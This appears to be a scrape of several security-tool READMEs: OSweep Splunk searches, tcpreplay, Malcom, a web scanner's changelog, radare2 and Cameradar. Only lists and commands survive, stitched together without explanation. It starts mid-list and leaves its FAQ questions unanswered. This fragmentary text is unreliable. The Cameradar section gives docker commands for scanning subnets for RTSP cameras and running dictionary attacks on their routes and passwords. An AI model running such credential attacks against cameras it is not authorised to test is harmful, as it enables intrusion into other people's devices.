5. Click 'Submit'.

| urlhaus <IOCs>
| fillnull value="-"
| search NOT "provided ioc"="-"
| dedup id dateadded url payload "url status" threat tags "urlhaus link"
| table id dateadded url payload "url status" threat tags "urlhaus link"

1. Switch to the urlscan.io dashboard in the OSweep™ app.
2. Add the list of IOCs to the 'Domain, IP, SHA256 (+)' textbox.
3. Select whether the results will be grouped and how from the dropdowns.
4. Click 'Submit'.

| urlscan <IOCs>
| fillnull value="-" 
| search NOT url="-"
| dedup url domain ip ptr server city country asn asnname filename filesize mimetype sha256 
| table url domain ip ptr server city country asn asnname filename filesize mimetype sha256 
| sort sha256

rm -rf /opt/splunk/etc/apps/osweep

<search>
| fields <FIELD NAME>
| <OSWEEP COMMAND> <FIELD NAME>

| urlhaus ahsweater.com
| fields payload
| urlhaus payload
| stats values(url) AS url BY payload

• Alienvault
• Censys
• Hybrid-Analysis
• Malshare
• PulseDive

• Support for netmap modified network drivers for 10GigE wire-speed performance
• Increased accuracy for playback speed
• Increased accuracy of results reporting
• Flow statistics including Flows Per Second (fps)
• Flow analysis for analysis and fine tuning of flow expiry timeouts
• Hundreds of thousands of flows per second (dependent flow sizes in pcap file)

• tcpreplay - replays pcap files at arbitrary speeds onto the network with an option to replay with random IP addresses
• tcpreplay-edit - replays pcap files at arbitrary speeds onto the network with numerous options to modify packets packets on the fly
• tcpliveplay - replays TCP network traffic stored in a pcap file on live networks in a manner that a remote server will respond to

• tcpprep - multi-pass pcap file pre-processor which determines packets as client or server and splits them into creates output files for use by tcpreplay and tcprewrite
• tcprewrite - pcap file editor which rewrites TCP/IP and Layer 2 packet headers
• tcpbridge - bridge two network segments with the power of tcprewrite
• tcpcapinfo - raw pcap file decoder and debugger

./configure 
make
sudo make install

./configure --with-netmap=/home/fklassen/git/netmap
make
sudo make install

git clone git@github.com:appneta/tcpreplay.git

• Version of tcpreplay you are trying to compile
• Platform (Red Hat Linux 9 on x86, Solaris 7 on SPARC, OS X on PPC, etc)
• Contents of config.status
• Output from configure and make
• Any additional information you think that would be useful.

• Version information (output of -V)
• Command line used (options and arguments)
• Platform (Red Hat Linux 9 on Intel, Solaris 7 on SPARC, etc)
• Make & model of the network card(s) and driver(s) version
• Error message (if available) and/or description of problem
• If possible, attach the pcap file used (compressed with bzip2 or gzip preferred)
• The core dump or backtrace if available
• Detailed description of your problem or what you are trying to accomplish

git clone https://github.com/appneta/tcpreplay.git

• Set up git
• Fork
• Edit (we create a branch per issue)
• Send a PR

• if you haven't already done so, get yourself a free GitHub ID and visit @appneta/tcpreplay
• click the Fork button to get your own private copy of the repository
• on your build system clone your private repository:

git clone git@github.com:<your ID>/tcpreplay.git

• we like to keep the master branch available for projection ready code so we recommend that you make a branch for each feature or bug fix
• when you are happy with your work, push it to your GitHub repository
• on your GitHub repository select your new branch and submit a Pull Request to master
• optionally monitor the status of your submission here

• detect central command and control (C&C) servers
• understand peer-to-peer networks
• observe DNS fast-flux infrastructures
• quickly determine if a network artifact is 'known-bad'

• Install
• Make sure mongodb and redis-server are running
• Elevate your privileges to root (yeah, I know, see disclaimer)
• Start the webserver using the default configuration with ./malcom.py -c malcom.conf (or see options with ./malcom.py --help) ** For an example configuration file, you can copy malcom.conf.example to malcom.conf ** Default port is 8080 ** Alternatively, run the feeds from celery. See the feeds section for details on how to to this.

• Install git, python and libevent libs, mongodb, redis, and other dependencies
  

    $ sudo apt-get install build-essential git python-dev libevent-dev mongodb libxml2-dev libxslt-dev zlib1g-dev redis-server libffi-dev libssl-dev python-virtualenv

• Clone the Git repo:
  

    $ git clone https://github.com/tomchop/malcom.git malcom

• Create your virtualenv and activate it:
  

    $ cd malcom
    $ virtualenv env-malcom
    $ source env-malcom/bin/activate

• Get and install scapy:
  

    $ cd .. 
    $ wget http://www.secdev.org/projects/scapy/files/scapy-latest.tar.gz
    $ tar xvzf scapy-latest.tar.gz
    $ cd scapy-2.1.0
    $ python setup.py install

• Still from your virtualenv, install necessary python packages from the requirements.txt file:
  

    $ cd ../malcom
    $ pip install -r requirements.txt

• For IP geolocation to work, you need to download the Maxmind database and extract the file to the malcom/Malcom/auxiliary/geoIP directory. You can get Maxmind's free (and thus more or less accurate) database from the following link: http://dev.maxmind.com/geoip/geoip2/geolite2/:
  

    $ cd Malcom/auxiliary/geoIP
    $ wget http://geolite.maxmind.com/download/geoip/database/GeoLite2-City.mmdb.gz
    $ gunzip -d GeoLite2-City.mmdb.gz
    $ mv GeoLite2-City.mmdb GeoIP2-City.mmdb

• Launch the webserver from the malcom directory using ./malcom.py. Check ./malcom.py --help for listen interface and ports.
  
  • For starters, you can copy the malcom.conf.example file to malcom.conf and run ./malcom.py -c malcom.conf

    [database]
    ...
    name = my_malcom_database
    ...

    [database]
    ...
    hosts = my.mongo.server
    ...

    [database]
    ...
    hosts = localhost:27008
    ...

    [database]
    ...
    hosts = my.mongo1.server,my.mongo2.server
    ...

    [database]
    ...
    username = my_user
    password = change_me
    ...

    [database]
    ...
    authentication_database = some_other_database
    ...

    [database]
    ...
    replset = my_mongo_replica
    ...

    [database]
    ...
    read_preference = NEAREST
    ...

• PRIMARY
• PRIMARY_PREFERRED
• SECONDARY
• SECONDARY_PREFERRED
• NEAREST

    $ sudo docker pull tomchop/malcom-automatic
    $ sudo docker run -p 8080:8080 -d --name malcom tomchop/malcom-automatic

• flask - a lightweight python web framework
• mongodb - a NoSQL database. It interfaces to python with pymongo
• redis - An advanced in-memory key-value store
• d3js - a JavaScript library that produces awesome force-directed graphs (https://github.com/mbostock/d3/wiki/Gallery)
• bootstrap - a CSS framework that will eventually kill webdesign, but makes it extremely easy to quickly "webize" applications that would only work through a command prompt.

• Added support for GIT URLs and branchs (Note: GIT for Windows must be downloaded separately from https://gitforwindows.org/and installed on the same machine for this feature to work).
• Added Complete Scan (complete) and Paranoid (comppnoid) hunt methods. Experimental checks moved to Paranoid hunt method.
• Improved compatibility with SVN repositories.

• Added WII framework related optimizations.
• Improved XML exports.
• Reviewed hunt methods Malware Content and Structure Brute Force and enabled additional checks.
• Improved false positive prevention involving extension checking and structure brute force checks.
• Improved loop prevention in spider (additional cases).
• Do not cache lengthy responses during spidering.
• Fixed: reclassified dynamic XSS risk based on CVSS3 score.

• Added -nv parameter to all CLI scan tools, which turns off verbose - error messages and basic information still gets printed.
• Fixed: optional -rout parameter not being fully respected in ScanURL and ScanCode.

$ sys/install.sh

$ sys/user.sh

$ r2pm -i meson

$ python ./sys/meson.py --prefix=/usr --shared --install

$ python ./sys/meson.py --help

$ sys/install.sh

$ sys/user.sh

$ make uninstall
$ make purge

$ make system-purge

$ r2pm init

$ r2pm update

$ r2pm install [package name]

$ r2pm install lang-python2 #lang-python3 for python3 bindings
$ r2pm install r2api-python
$ r2pm install r2pipe-py

$ npm install r2pipe   # NodeJS
$ gem install r2pipe   # Ruby
$ pip install r2pipe   # Python
$ opam install radare2 # OCaml

$ r2 -c=H /bin/ls

> radare2.exe -c=H rax2.exe

• Detect open RTSP hosts on any accessible target host
• Detect which device model is streaming
• Launch automated dictionary attacks to get their stream route (e.g.: /live.sdp)
• Launch automated dictionary attacks to get the username and password of the cameras
• Retrieve a complete and user-friendly report of the results

docker run -t ullaakut/cameradar -t <target> <other command-line options>

• YOUR_TARGET can be a subnet (e.g.: 172.16.100.0/24), an IP (e.g.: 172.16.100.10), or a range of IPs (e.g.: 172.16.100.10-20).
• If you want to get the precise results of the nmap scan in the form of an XML file, you can add -v /your/path:/tmp/cameradar_scan.xml to the docker run command, before ullaakut/cameradar.
• If you use the -r and -c options to specify your custom dictionaries, make sure to also use a volume to add them to the docker container. Example: docker run -t -v /path/to/dictionaries/:/tmp/ ullaakut/cameradar -r /tmp/myroutes -c /tmp/mycredentials.json -t mytarget

• go
• dep

• OSX: brew install dep and brew upgrade dep
• Others: Download the release package for your OS here

1. go get github.com/Ullaakut/cameradar
2. cd $GOPATH/src/github.com/Ullaakut/cameradar
3. dep ensure
4. cd cameradar
5. go install

• curl-dev / libcurl (depending on your OS)
• nmap
• github.com/pkg/errors
• gopkg.in/go-playground/validator.v9
• github.com/andelf/go-curl

$GOPATH/src/pkg/github.com/Ullaakut/cameradar

docker run -t -v /my/folder/with/dictionaries:/tmp/dictionaries \
           ullaakut/cameradar \
           -r "/tmp/dictionaries/my_routes" \
           -c "/tmp/dictionaries/my_credentials.json" \
           -t 172.19.124.0/24

• "-t, --target": Set target. Required. Target can be a file (see instructions on how to format the file), an IP, an IP range, a subnetwork, or a combination of those.
• "-p, --ports": (Default: 554,8554) Set custom ports.
• "-s, --speed": (Default: 4) Set custom nmap discovery presets to improve speed or accuracy. It's recommended to lower it if you are attempting to scan an unstable and slow network, or to increase it if on a very performant and reliable network. See this for more info on the nmap timing templates.
• "-T, --timeout": (Default: 2000) Set custom timeout value in miliseconds after which an attack attempt without an answer should give up. It's recommended to increase it when attempting to scan unstable and slow networks or to decrease it on very performant and reliable networks.
• "-r, --custom-routes": (Default: <CAMERADAR_GOPATH>/dictionaries/routes) Set custom dictionary path for routes
• "-c, --custom-credentials": (Default: <CAMERADAR_GOPATH>/dictionaries/credentials.json) Set custom dictionary path for credentials
• "-o, --nmap-output": (Default: /tmp/cameradar_scan.xml) Set custom nmap output path
• "-l, --log": Enable debug logs (nmap requests, curl describe requests, etc.)
• "-h" : Display the usage information

0.0.0.0
localhost
192.17.0.0/16
192.168.1.140-255
192.168.2-3.0-255

• 172.16.100.0/24
• 192.168.1.1
• localhost
• 192.168.1.140-255
• 192.168.2-3.0-255

1. Install dep
   • OSX: brew install dep and brew upgrade dep
   • Others: Download the release package for your OS here
2. dep ensure
3. go build to build the library
4. cd cameradar && go build to build the binary

Cameradar does not detect any camera!

Cameradar detects my cameras, but does not manage to access them at all!

What happened to the C++ version?

How to use the Cameradar library for my own project?

I want to scan my own localhost for some reason and it does not work! What's going on?

I don't see a colored output :(

I don't have a camera but I'd like to try Cameradar!

Running cameradar on your own machine to scan for default ports

Running cameradar with an input file, logs enabled on port 8554